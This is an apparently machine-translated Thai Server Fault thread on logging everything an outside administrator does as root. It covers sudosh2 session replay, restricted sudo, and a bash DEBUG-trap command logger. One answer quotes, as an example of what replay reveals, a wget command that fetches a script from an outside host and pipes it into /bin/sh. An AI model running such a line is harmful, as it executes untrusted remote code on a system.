บันทึกทุกคำสั่งที่ดำเนินการจากรูท


16

ฉันต้องการให้สิทธิ์เข้าถึงเซิร์ฟเวอร์รูทของฉันกับผู้ดูแลระบบภายนอก แต่ฉันต้องแน่ใจว่าได้ตรวจสอบสิ่งที่เขาทำกับเซิร์ฟเวอร์ของฉันอีกครั้งเช่นการคัดลอกข้อมูลที่ฉันไม่ต้องการให้พวกเขาทำ ฉันยังต้องการติดตามไฟล์ใด ๆ ที่เข้าถึงได้แม้จะเป็นแบบอ่านอย่างเดียวและไม่ได้แก้ไข

ฉันจะทำสิ่งนั้นได้อย่างไร


1
ดูคำถามที่เกี่ยวข้องนี้: serverfault.com/questions/181131/ …?
Stefan Lasiewski

คำตอบ:


21

เชื่อ แต่ยืนยัน!

ตรวจสอบsudosh2 sudosh2 จัดทำโดยพอร์ต FreeBSD แพ็คเกจมีให้บริการสำหรับ RedHat และ Ubuntu นี่คือคำอธิบายจากเว็บไซต์ของพวกเขา:

sudosh เป็นตัวกรองเชลล์การตรวจสอบและสามารถใช้เป็นเชลล์ล็อกอินได้ Sudosh บันทึกการกดแป้นและเอาท์พุททั้งหมดและสามารถเล่นเซสชั่นเช่นเดียวกับ VCR

Sudosh จะอนุญาตให้คุณเล่นซ้ำเซสชันของผู้ใช้ซึ่งจะช่วยให้คุณเห็นอินพุตและเอาต์พุตทั้งหมดตามที่ผู้ใช้เห็น คุณเห็นทุกอย่างการกดแป้นพิมพ์ผิด backspaces สิ่งที่พวกเขาแก้ไขในviเอาท์พุทwget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shฯลฯ

เป็นไปได้ที่จะส่งบันทึก sudosh ไปยัง syslog เพื่อให้สามารถจัดเก็บไว้ในเซิร์ฟเวอร์ syslog ส่วนกลางจากระบบ

โปรดทราบว่า sudosh2 เป็นสิ่งทดแทนสำหรับ sudosh ซึ่งถูกทอดทิ้งโดยผู้เขียน

คุณทำงานในสถาบันการศึกษาที่ผู้ใช้ยืนยันว่ามีสิทธิ์ superuser เป็นพิเศษหรือไม่? หรือคุณทำงานที่ บริษัท และต้องการอนุญาตให้ผู้ใช้มีสิทธิ์ superuser บน VM ของตนเอง นี่อาจเป็นทางออกสำหรับคุณ


1
ยอดเยี่ยม - ก่อนหน้านี้ฉันไม่เคยได้ยิน sudosh
EEAA

2
'VCR' ที่คุณพูดถึงคืออะไร
Tom Marthenal

2
มันเหมือนกับเพลง 8 เพลง แต่คุณสามารถบันทึกรายการโทรทัศน์ของคุณได้!
Stefan Lasiewski

22

อย่าให้เขารูท ให้บัญชีผู้ใช้ที่ไม่มีสิทธิพิเศษแทนและขอให้เขาทำงานทั้งหมดผ่านsudoซึ่งจะบันทึกคำสั่งทั้งหมดของเขา

โปรดจำไว้ว่าหากบุคคลนี้มีเจตนาไม่ดีและคุณให้สิทธิ์อย่างเต็มที่แก่เขาเขาจะหาวิธีที่จะดำเนินการตามเจตนาร้ายเหล่านั้นโดยไม่ต้องมีการบันทึกคำสั่งเหล่านั้น ในกรณีนี้ให้สิทธิ์การเข้าถึงคำสั่งเฉพาะที่เขาต้องการเพื่อทำงานของเขาเท่านั้น


ฉันต้องการทำให้มันยากที่สุดโดยไม่ทำให้ชีวิตฉันเจ็บปวด ขอบคุณสำหรับคำตอบ.
cedivad

คุณสามารถเรียกใช้sudo su -และมีรูทเชลล์ที่จะไม่ถูกบันทึก (ยกเว้นว่าคุณเริ่มต้น) นี่คือสิ่งที่ฉันพิมพ์ตามปกติเมื่อฉันต้องการทำมากกว่าคำสั่งเดียวแบบรูทในครั้งเดียวหรือถ้าฉันต้องการให้แท็บเสร็จสมบูรณ์ในไดเรกทอรีที่ผู้ใช้ทั่วไปไม่สามารถอ่านได้
rjmunro

@rjmunro - ซึ่งเป็นเหตุผลที่ฉันออก caveat เพียงให้เขาเข้าถึงเฉพาะที่เขาต้องการ คุณสามารถห้ามอย่างชัดเจนsudo su -หากต้องการ
EEAA

1

ฉันไม่คุ้นเคยกับ sudosh2 แต่ฉันใส่สิ่งต่อไปนี้ใน.bashrcการบันทึกคำสั่งทั้งหมดที่ฉันพิมพ์ในbashเชลล์ลงในไฟล์~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

ด้านบนตั้งค่ากับดักDEBUGซึ่งจะถูกดำเนินการก่อนที่คำสั่งปกติจะถูกดำเนินการ ในตัวจะใช้ในการทดสอบว่าคำสั่งจะถูกพิมพ์ลงในเปลือกโต้ตอบหรือวิ่งผ่านสิ่งที่ต้องการcaller .bashrcค่า${BASH_COMMAND}มีคำสั่งที่กำลังดำเนินการในปัจจุบัน

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.